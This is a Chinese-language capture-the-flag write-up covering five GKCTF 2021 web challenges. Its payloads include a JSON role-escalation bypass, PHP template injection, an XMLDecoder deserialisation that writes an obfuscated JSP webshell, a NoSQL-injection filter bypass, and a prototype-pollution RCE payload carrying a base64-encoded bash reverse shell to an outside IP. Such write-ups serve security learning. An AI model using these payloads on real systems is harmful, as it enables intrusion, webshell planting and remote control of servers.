GKCTF 2021
字数 1196 2025-08-13 21:33:25
GKCTF 2021 Web题目解析与漏洞利用技术详解
0x01 babycat题目分析
漏洞发现与利用
-
注册功能绕过:
- 发现Sign Up功能被禁用但可访问
- 修改登录包,将方法改为register成功注册用户
-
任意文件下载漏洞:
- 在DownLoad Test处发现任意文件下载
- 爬取到web.xml文件,获取关键servlet配置信息
<servlet> <servlet-name>register</servlet-name> <servlet-class>com.web.servlet.registerServlet</servlet-class> </servlet> -
权限提升漏洞:
- 利用Gson兼容性问题注册为admin
- 构造特殊JSON数据绕过权限检查:
data={"username":"test","password":"test","role":"admin"/*,"role":"test"*/} -
WAF绕过与文件上传:
- 审计发现上传逻辑缺陷:
if (checkExt(ext) || checkContent(item.getInputStream())) { req.setAttribute("error", "upload failed"); req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp); }- 即使进入if语句也会继续执行,WAF无效
- 上传webshell到可访问的static目录
0x02 easycms题目分析
漏洞利用链
-
后台弱口令:
- 指纹识别为禅知CMS 7.7
- 使用默认凭证admin:12345登录后台
-
文件上传与目录穿越:
- 在组件->素材库上传.txt文件
- 修改文件名实现目录穿越,创建必要文件:
/var/www/html/system/tmp/clyq.txt -
模板注入:
- 利用创建的txt文件进行模板注入执行命令:
<?php `cat /flag`;?>
0x03 babyrevenge题目分析
复杂利用链
-
路径信息收集:
- 通过download模块获取绝对路径:
file=proc/self/environ -
XMLDecoder反序列化漏洞:
- 上传恶意db.xml覆盖原配置文件
- 利用XMLDecoder反序列化写webshell
<?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_192" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string> <void method="println"> <string><![CDATA[<% if("b".equals(request.getParameter("pwd"))){ java.io.InputStream in = \u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063(request.getParameter("i")).getInputStream(); // 省略... ]]></string> </void> </object> </java> -
Unicode编码绕过:
- 过滤了常见命令执行函数,使用Unicode编码绕过
0x04 hackme题目分析
多阶段攻击
-
WAF绕过:
- 使用Unicode编码绕过正则过滤:
{"username":{"\u0024\u0065\u0071":"admin"},"password":{"\u0024\u0072\u0065\u0067\u0065\u0078":"^%s"}} -
密码爆破:
- 通过响应差异爆破出密码:42276606202db06ad1f29ab6b4a1307f
-
Nginx漏洞利用:
- 发现Nginx版本1.17.6存在CVE-2019-20372(HTTP走私漏洞)
- 尝试利用session_upload_progress上传shell打入内网
0x05 easynode题目分析
高级JavaScript漏洞利用
-
WAF绕过技术:
- 利用数组拼接绕过字符检查:
username[]=admin'#&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=a&username[]=(&password=123456 -
原型链污染漏洞:
- 漏洞代码分析:
for(var key in data){ var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`; extend(board,JSON.parse(addDIV)); }- 创建__proto__账号进行污染
-
RCE利用:
- 构造恶意payload触发命令执行:
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny4xMDEuNTcuNzIvMjMzMyAwPiYxIg%3D%3D|base64 -d|bash');var __tmp2"}
技术要点总结
-
JSON解析差异利用:
- 不同JSON解析器处理注释和重复键的差异可导致权限绕过
-
WAF绕过技术:
- Unicode编码
- 数组拼接
- 协议方法修改
-
文件上传漏洞:
- 逻辑缺陷导致WAF绕过
- 目录穿越技术
-
反序列化漏洞:
- XMLDecoder反序列化写webshell
- 路径信息收集技术
-
原型链污染:
- JavaScript原型继承机制
- __proto__属性控制
- 污染链构造技术
-
HTTP走私攻击:
- Nginx特定版本漏洞利用
- 请求走私原理
以上技术点在实际渗透测试中具有广泛应用价值,理解这些漏洞原理和利用技术对于提升Web安全能力至关重要。